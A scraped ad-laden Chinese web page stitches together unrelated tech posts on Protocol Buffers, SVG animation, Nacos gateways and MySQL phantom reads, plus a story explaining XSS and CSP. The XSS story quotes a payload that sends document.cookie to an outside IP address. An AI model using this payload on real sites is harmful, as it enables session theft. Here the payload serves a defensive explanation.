Protocol Buffers工作原理_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

這裏記錄一下學習與使用Protocol Buffer的筆記,優點缺點如何使用這裏不再敘述,重點關注與理解Protocol Buffers的工作原理,其大概實現。

我們經常使用Protocol Buffer進行序列化與反序列化。理解Protocol Buffer的工作原理,就要理解序列化與反序列化。

  • 序列化:將數據結構或對象轉換為二進制串的過程;
  • 反序列化:序列化的逆過程;

如何實現呢?核心有兩點:編碼 + 存儲。數據在計算機間通過網絡進行傳輸時,傳輸的是比特流,只有0和1,並沒有你所定義的各種類對象等,你如果想將一個類對象傳輸到對方,怎麼辦呢?字符是用過ASCII碼編碼的,這裏也可以設計一套編碼方案來對類似類對象這種數據進行編碼,只要對方收到后能正確的解碼就可以了。編碼后還要確定編碼后的數據存儲方式,這樣字節流才是有意義的字節流,這樣才能知道讀取的字節流有什麼含義,代表什麼。

好了,我們看一下Protocol Buffer是如何編碼和存儲的。

Protocol Buffer是如何編碼的

Varint編碼

Varint編碼是一種變長的編碼方式,核心思想是對數值越小的数字,用越少的字節數表示,這樣可以減少数字的字節數,進行數據壓縮。

舉個例子:對int數據類型,一般需要4個字節來表示,而實際上,對與數值較小的数字而言,無需這麼多字節,00000000 00000000 00000000 01111111 | 127,只需要一個字節就能表示,前面3個字節意義不大,浪費了許多空間。

當然,這種編碼並不是所有情況下都會變小,當數值非常大時,所需的字節會增多,但因為大多數情況下數值小的数字遠比數值大的多,所以整體看來,數據是被壓縮了的。

具體的,Varint編碼時,對每個字節的最高位賦予特殊含義:

  • 1:表示後序的字節也是該数字的一部分;
  • 0:表示這是最後一個字節,且剩餘7bit都用來表示数字(所以Varint解碼時,如果讀到最高位為0的字節時,就表示已經是Varing的最後一個字節);

因為每個字節的最高位都被佔用,用來表示特殊的含義,所以,當數值非常大時,原有的字節數就不夠用了,所以編碼時要增加字節數。

可以參考下圖加深理解:

編碼示例:

解碼示例:

還有一個問題:就是負數時怎麼辦?計算機中數值用補碼形式表示和存儲(負數在計算機中往往用最位1來表示負數,0表示正數,負數的補碼最高位為1),那按Varint編碼方式所有的負數都需要增加一個字節表示,這是不能被接受的,解決方法便是下面要講的zigzag編碼。

Zigzag編碼

Zigzag編碼是一種變長的編碼方式。zigzag按絕對值升序排列,將整數hash成遞增的數值序列,哈希函數為h(n)=(n<<1)^(n>>31),對應地long型(64)位的哈希函數為h(n)=(n<<1)^(n>>63)

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

n hex h(n) zigzag(hex)
0 00 00 00 00 00 00 00 00 00
-1 ff ff ff ff 00 00 00 01 01
1 00 00 00 01 00 00 00 02 02
-2 ff ff ff fe 00 00 00 03 03
2 00 00 00 02 00 00 00 04 04

可以看到,zigzag編碼將正數和負數重新映射為遞增的無符號數,其主要目的就是使絕對值小的數值映射為小的無符號數,已方便後序壓縮字節。

zigzag編碼還有很多細節,比如為了保證編碼的唯一可譯性,需對哈希值進行前綴碼編碼,這裏不再細述。

解碼為編碼的逆,首先將zigzag編碼還原成哈希值,然後用哈希函數h的逆h’(n)=(n>>>1)^-(n&1)得到原始整數值。

這裏只重點講Varint編碼和Zigzag編碼,像string、double等類型這裏不再描述,可參考文後的參考文檔。

T-L-V的數據存儲方式

T:tag,L:length,V:value。以標識-長度-字段值表示單個數據,最終將所有數據拼接成一個字節流,從而實現數據存儲的功能。

其中Length可選存儲,如存儲Varint編碼數據就不需要存儲Length,因為可根據每個字節最高bit位來判斷這個字節是不是該數據段的最後一個字節。

這裏重點說一下Tag。Tag用來標識字段,通過Tag能獲知這段字節流是屬於什麼類型數據的,其定義為:Tag = (field_number << 3) | wire_type
。這樣,解包時就可根據tag將value對應消息中的字段。

Tag佔用一個字節的長度(如果標識號超過了16,則多佔用一個字節的位置,原因是field_number左移了3位,編碼方式為Varint&Zigzag,編碼的時候一個字節不夠用了)。

message ChannelDataAck {
    bytes uuid = 1;     //這裏的1 、2就是field_number
    uint32 result = 2;  
}

Tag(字段標識號)在序列化和反序列化過程中非常重要。舉一個應用中非常常見的例子,在需要對原有結構進行增減字段的時候,同樣一個結構體定義,新版本代碼中對其增加了一個字段,那當新版本代碼序列化后給原有舊版本反序列化解析的時候,因為舊的沒有那個新增的字段,所以在解析時只解析自己有的字段,沒有的不進行解析,這樣舊的代碼依舊能從新字節流中解析出舊數據結構。那舊的數據結構的數據解析為新數據結構時,因為沒有新字段的數據,解析為新數據時該字段置為默認值。這樣就能保證兼容性,對協議升級較為友好。

可以看到通過T-L-V的數據存儲方式,能夠較好的解決字段不完全匹配時的如何解析的問題。

序列化 & 反序列化過程

序列化過程如下:

  1. 判斷每個字段是否有設置值,有值才進行編碼.
  2. 根據字段標識號&數據類型將字段值通過不同的編碼方式進行編碼.

反序列化過程如下:

  1. 解析從輸入流讀入的二進制字節數據流.
  2. 將解析出來的數據按照指定的格式讀取到C++、Rust等對應的結構類型中.

到這裏,基本把Protocol Buffers的工作原理簡單梳理了一遍,其他技術細節待以後再深究。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

一個神秘URL釀大禍,差點讓我背鍋!_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

神秘URL

我叫小風,是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求,我差點丟了飯碗,好在有驚無險,我的職場歷險記還在繼續。

“叮叮叮叮~~~~”,鬧鐘又把我給吵醒了,我一看時間竟然已經這麼晚了。

我趕緊起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。

今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡連接的老白和負責存儲的小黑,一起打起了麻將。

一連打了幾圈,正在興頭上,公司的美女前台跑了過來,“你們幾個別玩了,上網業務來了。老白,這是URL,給”

我瞅了一眼這URL,看上去有些奇怪,不僅比之前見過的都長,貌似還夾雜着一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc=”/><script>$(“body”).append(“<img src=’http://192.168.59.129?c=”+escape(document.cookie) + “‘>”)</script><!–

“老白,這URL長的好奇怪?會不會有什麼問題?”,我向老白問到。

“嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪”,老白不屑一顧。

“大家把牌蓋着,都別看,忙完了回來咱接着打”,老白繼續說到。

於是大家各歸各位,準備處理這一單上網業務。

很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。

小雪做了一半,叫住了我:“風哥,又有 <script> 標籤了,該你上了”。

我接過小雪手裡的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?

心裏突然湧上一種不好的預感,正在困惑之中,老白催我了,“小雪小風你倆趕緊的,網頁加載半天了還沒显示出來!”

但願是我多想了,我開始執行這 <script> 標籤中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創建一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着作為參數才能拿到這個圖片。

我來到小黑的存儲倉庫,準備向他索要Cookie。

當我表明來意以後,小黑也顯得有些謹慎,“按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的

“這我當然知道,不過現在是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧”,我解釋到。

小黑鄒着眉頭想了一想,也就同意了。

我拿到cookie后,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,之後還給小雪繼續渲染。

網頁很快渲染完成展示出來了,忙完之後我們繼續開始未完的牌局。

過了一會兒,人類終於關掉了瀏覽器,我們也可以下班了······

XSS跨站腳本攻擊

第二天一早,我剛到公司,小雪妹子就轉過頭告訴我:“風哥,主管讓你去趟他的辦公室,他好像不太高興,你當心點”

“你知道是什麼事情嗎?”

“我也不太清楚,只聽說你執行了什麼錯誤的JavaScript代碼”

我心裏一緊,感覺大事不妙,難道是昨晚那奇怪的代碼有什麼問題?

來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:“主管,您找我有事?”

主管見我到來,指着旁邊的沙發示意我也坐下。

“你闖禍了知道嗎?”,領導扔給我一頁文件。

我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

“主管,我不太清楚,這是有什麼問題嗎?”,我小聲問道。

主管指着旁邊那個年輕小哥說到:“這位是OO空間網站的負責人,讓他告訴你吧”

小哥點了點頭說到:“是這樣的,我們發現有人盜用我們網站的Cookie,免登錄直接訪問了進去,經過日誌排查,發現是你們這裏把Cookie泄露的,所以想過來了解一下情況”

“這段代碼是你們網站自己的,我只是完成我的工作執行了它而已啊”,我開始有些緊張了。

“可是我們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的”,這小哥也爭辯道。

辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。

就在此時,年輕小哥出去接了一個電話。

片刻之後,小哥再次回到辦公室,臉色突然和緩了許多,笑着說到:“不好意思,剛剛接到同事的電話說,他們已經排查出了問題,是我們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟你們應該沒有關係,實在是抱歉”

聽完,我鬆了一口氣,差點就要背鍋了。

回到工位,我把事情的經過告訴了大夥。

小雪聽后吐槽:“那些奇奇怪怪的URL就別亂點嘛,真是給我們添亂”

“你看你看,我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,咱們給這種攻擊方式取個名字吧”,小黑說到,“叫Cross Site Script攻擊怎麼樣?”

老白點了點頭,“跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!”

小雪一聽轉過頭來,“你叫CSS,那我的層疊樣式表豈不是要改名讓賢?”

老白撓了撓頭,有些不好意思,“哦,忘了這一茬。那改一下,叫XSS,這總可以了吧?”

我們都點了點頭,就這麼定了。

XSS Auditor

雖然這一次的事情責任不在我們瀏覽器,不過我一直還是有些后怕。

這天晚上,我又仔細回憶了那天整個事情的經過

突然腦子里靈光一閃,發現一個重要的特點

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

既然JS代碼同時出現在了請求的URL中和響應的網頁中,何不利用這個特點來進行針對性攔截呢?

越想越難入睡,連夜寫起了方案。

第二天,來到公司,打算將昨晚的方案彙報給主管,掙一下錶現。

我再次來到主管辦公室,主管見是我,招呼道:“小風啊,來來來,剛好找你有點事”

我快步走了進去,只見主管又拿出了一疊文件放在我的面前,隨後說到:“這是我搞到的絕密資料,是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術,據說可以阻止類似上次的攻擊事件,你抽空研究一下”

我腦子一懵,趕緊快速瀏覽了這份文件,沒想到居然跟我的方案撞到一塊兒了,而且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後,主管宣布我們也要用上這種技術,增強咱們瀏覽器的安全性。

存儲型XSS

“聽說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了”,一天中午,老白神神秘秘的說到。

我一聽來了精神,“不是有XSS Auditor嗎,怎麼還會發生這種事?”

“這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor自然是發覺不了了”

“不在URL中,那放哪裡了?”

“聽說是存在了數據庫里,訪問網頁的時候從數據庫里讀取出來后,直接給填充到了網頁上了,喏,就像這樣”,老白說完畫了一個圖。

“對了,他們藉此機會把XSS攻擊分成了兩種,以前那種直接通過URL把JS代碼注入進網頁的方式叫做反射型XSS,這一次這種叫存儲型XSS”,老白繼續說到。

我看了老白的圖一下就明白了,“這一招也太狠了,存進了網站的數據庫里,所有人訪問頁面都得中招”

“可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對所有的輸入進行全面的檢查過濾,防止JS代碼混進去。”

“這種事情還是得他們網站自己做好檢查,咱們瀏覽器也幫不上什麼忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把這次的新型XSS一併解決的話,那就揚眉吐氣了。

之後一段時間,一有閑暇我就開始思考這個問題,卻一直沒什麼進展。

CSP

這一天中午,沒什麼工作要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。

老白聞訊過來,說到:“小風,你還在想那個問題啊,你這两天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!”

老白的話如當頭一棒,“什麼技術?怎麼解決的?”

“你看你,天天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy,哦對,就是這個,簡稱叫CSP

我趕緊去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息,網站通過這個信息告訴瀏覽器哪些外部資源可以加載和執行。這個信息可以用HTTP頭的形式出現,像這樣:

也可以通過 <meta> 標籤出現,像這樣:

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至於裏面的內容,則是將所有可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,如果資源所在的地址不在名單之內就拒絕加載:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 連接(通過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件

比如 img-src的內容是self,那所有的 <img> 標籤的src屬性必須是在當前網站才行,如果加載其他地址的圖片就會拒絕。

不僅如此,還提供了一個叫report-uri的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載后,除了拒絕加載還可以把這一情況報告給這個地址,網站就能及時知道預警了。

真是完美的解決方案!沒想到,竟然這麼多競爭對手都已經用上了這項技術

當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少,我們也難得度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久,那件事之後半個月,我又因為執行一段JS代碼霸佔CPU太久,被帝國安全警衛隊勒令我們瀏覽器公司強制關閉。

執行JavaScript這份工是越來越不好打了。

預知後事如何,請關注後續精彩······

往期熱門回顧

因為一個跨域請求,我差點丟了飯碗

就為了一個原子操作,其他CPU核心都罷工了

完了!CPU一味求快出事兒了!

可怕!CPU竟成了黑客的幫凶!

哈希表哪家強?幾大編程語言吵起來了!

震撼!全網第一張源碼分析全景圖揭秘Nginx

一個整數+1引發的災難

一網打盡!每個程序猿都該了解的黑客技術大匯總

DDoS攻擊:無限戰爭

一個Java對象的回憶錄:垃圾回收

誰動了你的HTTPS流量?

路由器里的廣告秘密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

svg高級應用及動畫_貨運

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

canvas 和 webGL 這兩項圖形技術結合 css3 可以說能完成絕大部分的動畫和需求。但 canvas 和 webGL 畢竟是偏向底層的繪製引擎,某些場景使用起來還是過於繁瑣的,不分場合一律使用鎚子解決的行為不值得提倡。svg 在解決排版,圖標,相關動畫還是非常高效的,而且 svg 還是矢量圖形,高清還原各種屏幕尺寸的設計簡直就是神器。

svg 基礎知識不再講解,結合svg特點和應用場景,主要介紹如下幾方面的內容

  • svg sprite
  • css background-image 插入svg
  • 文字路徑
  • 路徑動畫

SVG sprite

SVG sprite 之於 font-face 的優勢就是矢量圖的抗鋸齒效果,再也不需要為適配高清屏而操心。使用方式就是 svg 標籤結合 symbol元素即可,其中 svg 是容器,而symbol 則是組件模板。怎麼把svg組件显示出來呢?使用 use 元素指向組件的id即可,如下所示:

<svg>
    <symbol id="ok">
        <!-- svg元素或組合 -->
    </symbol>
    <!-- ... -->
</svg>

<use href="#ok"/>

當然網上有很多工具可以幫我們把圖標自動sprite,比如:iconfot,gulp-svg-symbols

在css中插入svg

SVG 添加到網頁中有多種方法,最常見的是:

  1. 在 HTML 中內聯
  2. objectiframeembed 標籤插入
  3. img 標籤
  4. CSS background-image 屬性

html 內聯方式

<svg>
  <title>line</title>
  <line x1="20" y1="20" x2="100" y2="100">
</svg>

使用 object、iframe 或 embed 標籤插入

<object data="flag.svg" type="image/svg+xml"></object>
<iframe src="flag.svg" frameborder="0"></iframe>
<embed src="flag.svg" type="" />

使用img標籤插入

<img src="flag.svg"/>

現在重點介紹一下使用 css background屬性插入的方式;既可以使用圖片路徑也可以使用 base64 格式的data URI 方式

.svg-bg {
  background-image: url("./bg.svg");
}
.svg-background {
  background-image: url("data:image/svg+xml;<DATA>");
}

我認為使用 background base64 引入svg是最具靈活性的一種方式,還可以加入svg動畫,不需要額外加載圖標,只需引入css即可。同時跟普通圖片相比它又有着抗鋸齒的優勢,因此元素尺寸隨意調整不擔心失真。比如下面使用background data URI 引入的加載動畫css:

<style>
.loading{
  width: 50px;
  height: 50px;
  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='80' height='80'%3E%3Cpath d='M10 40a30 30 0 1130 30' stroke-width='4' stroke='hsl(220,90%,60%)' fill='none'%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1.4s' type='rotate' from='0 40 40' to='360 40 40' repeatCount='indefinite'/%3E%3C/path%3E%3C/svg%3E")
  no-repeat center / cover;
}
</style>

<body>
<div class="loading"></div>
</body>

文字路徑

svg 除了繪製圖形,插入文字也是很方便的,方式也簡單,使用 text 元素包裹文本內容即可

<text fill="hsla(260,80%,50%,1)" x="10" y="40" font-size="30"> I Love SVG </text>

還有一種很實用的效果就是文字路徑,也就是文字按照定義好的 path 進行排列显示,這需要使用到另一個標籤 textPath。實現方式:首先定義一個path元素(這裏使用三次貝塞爾曲線),然後 textPath元素使用 xlink:href 屬性引入path,最後再用 text標籤包裹。

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

<g>
  <title> 文字路徑 </title>
  <path id="path" d="M 10 100 C 100 0 150 300 250 100" fill="none" stroke="#555"/>
  <text x="10" y="100" stroke="hsl(280,100%,50%)">
    <textPath xlink:href="#path">I Love SVG I Love SVG I Love SVG</textPath>
  </text>
</g>

文字路徑 I Love SVG I Love SVG I Love SVG I Love SVG

svg路徑動畫

svg動畫既可以使用 css3 相關屬性實現,也可以使用自己獨有的SMIL實現。SMIL主要用以下標籤:

  • animate:基礎動畫元素,實現單屬性的動畫過渡效果

  • animateTransform: 實現transform變換動畫效果

  • animateMotion:路徑動畫效果

這裏只介紹路徑動畫,基礎動畫和變換動畫與css動畫相似,就不再介紹。來看一個基於 css3 的 animation 實現百分比加載的動畫。這裏用到了兩個關鍵屬性:

  • stroke-dasharray:設置線條斷開為虛線,數值越大,線就越長

  • stroke-dashoffset:設置線條的偏移,設置后,線段就會偏移相應的值,實現線條動畫只要動態改變這個偏移值就好

首先需要通過js獲取路徑的總長度

//獲取路徑長度
const arc = document.getElementById('circle');
console.log(arc.getTotalLength()); //250.92141723632812

接着編寫svg相關

<style>
  circle {
    fill: transparent;
    stroke-width: 10px;
  }
  #circle {
    stroke-dasharray: 250.921;
    stroke-dashoffset: 250.921;
    animation: round 3s linear infinite;
  }
  @keyframes round {
    to {
      stroke-dashoffset: 0;
    }
  }
</style>
<g>
  <circle cx="100" cy="60" r="40" stroke="#ccc" />
  <circle id="circle" cx="100" cy="60" r="40" stroke="hsl(160,80%,50%)" />
</g>

當然其他stroke線條動畫也類似

Click Me

接着我們再基於svg animateMotion標籤來實現path路徑動畫,其中path是運動路徑,dur 是持續時間,repeatCount設置是否循環

<g id="pathAnimate">
  <title> 路徑動畫 </title>
  <path stroke="hsl(0,0%,60%)" d="M 10 300 Q 150 100 300 300 T 490 300Z" stroke-width="2" fill="none"/>
  <circle cx="0" cy="0" r="8" stroke-width="1" stroke="hsl(300,10%,40%)" fill="hsl(300,100%,50%)">
    <animateMotion path="M 10 300 Q 150 100 300 300 T 500 300Z" dur="4s" repeatCount="indefinite"/>
  </circle>
</g>

路徑動畫

使用svg實現路徑動畫真是性價比超高。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

【Java Spring Cloud 實戰之路】- 使用Nacos和網關中心的創建_網頁設計公司

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

0. 前言

在上一節中,我們創建了一個項目架構,後續的項目都會在那個架構上做補充。

1. Nacos

1.1 簡介

Nacos可以用來發現、配置和管理微服務。提供了一組簡單易用的特性集,可以快速實現動態服務發現、服務配置、服務元數據及流量管理。

Nacos用來更敏捷和容易地構建、交付和管理微服務平台。Nacos是構建以”服務“為中心的現代應用構架(例如微服務範式、雲原生範式)的服務基礎設置。

也就是通常我們所說的配置中心和服務發現中心。

1.2 搭建和啟動

Nacos目前版本不支持以Spring boot的形式創建服務,必須以一個Java包的形式單獨運行或者以Docker服務的形式運行,我們大概講解一下本地運行。

下載安裝包:

curl https://github.com/alibaba/nacos/releases/download/1.2.1/nacos-server-1.2.1.zip
unzip nacos-server-$version.zip 或者 tar -xvf nacos-server-$version.tar.gz
cd nacos/bin

使用源碼安裝:

git clone https://github.com/alibaba/nacos.git
cd nacos/
mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U  
ls -al distribution/target/

// change the $version to your actual path
cd distribution/target/nacos-server-$version/nacos/bin

啟動:

Linux/Unix/Mac

啟動命令(standalone代表着單機模式運行,非集群模式):

sh startup.sh -m standalone

如果您使用的是ubuntu系統,或者運行腳本報錯提示[[符號找不到,可嘗試如下運行:

bash startup.sh -m standalone

Windows

啟動命令:

cmd startup.cmd

或者雙擊startup.cmd運行文件。

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

2. Spring Cloud Gateway

整個的網關服務,我們採用的Spring Cloud Gateway。在Spring Cloud微服務里,整個系統只對外公開了網關,其他的服務是對外不可見的。所以需要設置一個讓我們可以用的網關服務。

在 nature/manager下創建一個gateway目錄,並添加pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <parent>
        <groupId>club.attachie</groupId>
        <artifactId>manager</artifactId>
        <version>${revision}</version>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <groupId>club.attachie</groupId>
    <artifactId>gateway</artifactId>
    <packaging>jar</packaging>
    <version>${revision}</version>

</project>

在manager下註冊該模塊:

<modules>
    <module>gateway</module>
</modules>

2.1 添加 Gateway

創建完成項目后,需要添加依賴包:

<!-- https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-starter-gateway -->
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

在gateway項目中,創建如下目錄:

├── pom.xml
└── src
    └── main
        ├── java
        │   └── club
        │       └── attachie
        │           └── gateway
        │               └── SpringGatewayApplication.java
        └── resources
            └── bootstrap.yml

創建 SpringGateAppliction.java文件,代碼如下:

package club.attachie.gateway;


import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
import org.springframework.cloud.context.config.annotation.RefreshScope;

/**
 * @author attaching
 */
@SpringBootApplication
@EnableDiscoveryClient
@RefreshScope
public class SpringGatewayApplication {
    public static void main(String[] args) {
        SpringApplication.run(SpringGatewayApplication.class, args);
    }
}

在resource目錄下創建 bootstrap.yml:

spring:
  application:
    name: gateway

yml 是Spring 的一種配置文件格式,其中名稱有application和bootstrap,bootstrap比application先加載。

2.2 添加 nacos

先在 nature/pom.xml 添加 nacos 版本號:

<nacos.version>2.2.1.RELEASE</nacos.version>

然後在dependencyManagement > dependencies 下添加 nacos相關依賴管理:

<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
    <version>${nacos.version}</version>
</dependency>
<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-alibaba-starters</artifactId>
    <version>${nacos.version}</version>
</dependency>

在Gateway項目中pom.xml 添加:

<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
</dependency>
<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
</dependency>

然後回過頭來,在bootstrap里設置:

spring:
  application:
    name: gateway

  cloud:
    nacos:
      config:
        server-addr: 127.0.0.1:8848

3 總結

nacos的配置和Gateway應用的介紹就到這裏為止了,因為個人並未對相關技術進行過多深入的研究,所以目前只能做到這些。後續研究深入了,會在這個系列中補齊的。

更多內容煩請關注我的博客《高先生小屋》

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

【大廠面試03期】MySQL是怎麼解決幻讀問題的?_租車

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

問題分析

首先幻讀是什麼?

根據MySQL文檔上面的定義

The so-called phantom problem occurs within a transaction when the same query produces different sets of rows at different times. For example, if a SELECT is executed twice, but returns a row the second time that was not returned the first time, the row is a “phantom” row.

幻讀指的是在一個事務內,同一SELECT語句在不同時間執行,得到不同的結果集時,就會發生所謂的幻讀問題。

可以看看下面的例子:

這是網上找的一張圖(事務的務字寫錯了,不過不影響我們理解)

假設這個例子中的MySQL的隔離級別是提交讀,也就是一個事務內可以讀到其他事務提交后的結果。

那麼事務1第一次查詢dept表中所有部門時,結果是沒有”研發部”,但是由於隔離級別是提交讀,在事務2插入“研發部”這一行數據后,並且提交后,事務1是可以讀取到的,所以第二次查詢時,結果集中會有“研發部”。這就是幻讀。

SELECT語句分類

首先我們的SELECT查詢分為快照讀和實時讀,快照讀通過MVCC(併發多版本控制)來解決幻讀問題,實時讀通過行鎖來解決幻讀問題。

快照讀

1.1 快照讀是什麼?

因為MySQL默認的隔離級別是可重複讀,這種隔離級別下,我們普通的SELECT語句都是快照讀,也就是在一個事務內,多次執行SELECT語句,查詢到的數據都是事務開始時那個狀態的數據(這樣就不會受其他事務修改數據的影響),這樣就解決了幻讀的問題。

1.2 那麼innodb是怎麼解決快照讀的幻讀問題的?

快照讀就是每一行數據中額外保存兩個隱藏的列,插入這個數據行時的版本號,刪除這個數據行時的版本號(可能為空),滾動指針(指向undo log中用於事務回滾的日誌記錄)。

事務在對數據修改后,進行保存時,如果數據行的當前版本號與事務開始取得數據的版本號一致就保存成功,否則保存失敗。

當我們不顯式使用BEGIN來開啟事務時,我們執行的每一條語句就是一個事務,每次開始事務時,會對系統版本號+1作為當前事務的ID。

1.2.1插入操作

插入一行數據時,將事務的ID作為數據行的創建版本號。

1.2.2刪除操作

執行刪除操作時,會將原數據行的刪除版本號設置為當前事務的ID,然後根據原數據行生成一條INSERT語句,寫入undo log,用於事務執行失敗時回滾。delete操作實際上不會直接刪除,而是將delete對象打上delete flag,標記為刪除,最終的刪除操作是purge線程完成的。但是會將數據行的刪除版本號設置為當前的事務的ID,這樣後面的事務B即便查到這行數據由於事務B的ID>刪除版本號,也會忽略這條數據。

1.2.3更新操作

更新時可以簡單的認為是先將舊數據刪除,然後插入一條新數據。

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

所以執行更新操作時,其實是會將原數據行的刪除版本號設置為當前事務的ID,生成一條INSERT語句,寫入undo log,用於事務執行失敗時回滾。插入一條新的數據,將事務的ID作為數據行的的創建版本號。

1.2.4查詢操作

